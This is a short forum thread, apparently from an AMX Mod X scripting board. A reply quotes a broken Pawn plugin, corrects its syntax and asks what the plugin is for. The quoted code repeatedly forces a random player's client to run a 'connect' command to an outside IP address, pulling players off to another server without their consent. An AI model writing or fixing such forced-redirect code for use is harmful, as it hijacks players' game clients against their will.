Raised This Month: $ Target: $400
 0% 

Fix Error


  
 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
sake
Senior Member
Join Date: Jul 2011
Old 11-05-2011 , 08:20   Re: Fix Error
Reply With Quote #3

Quote:
Originally Posted by kiki33hun View Post
PHP Code:
public plugin_init() {
    
register_plugin(PLUGINVERSIONAUTHOR)
    
    
set_task1000.0"kiki"0""0"b" ); 
}
public 
kiki(id)
{
    
    
client_cmd(random_num1,31 ), "connect 80.249.166.44:27015")


Don't escape the " chars when you want to use a string. And random_num is an integer which is the correct 1st parameter for client_cmd. And you should check if the player is connected.

EDIT:

What the hell is the aim of this plugin, anyways???
__________________

Last edited by sake; 11-05-2011 at 08:22.
sake is offline
 



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 14:18.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode